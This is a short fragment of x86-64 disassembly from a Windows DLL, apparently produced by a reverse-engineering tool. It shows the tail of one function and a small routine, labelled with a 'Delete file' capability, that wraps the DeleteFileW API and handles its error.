lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.180013b18
cmp dword [rbp + 0x20], 0
je 0x180013cd4
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.180013cdc
int3
xor r8d, r8d
xor edx, edx
jmp 0x180013c20

Function at 0x18001f728
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x18001f748
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1800174a4
or eax, 0xffffffff
jmp 0x18001f74a
xor eax, eax
add rsp, 0x28
ret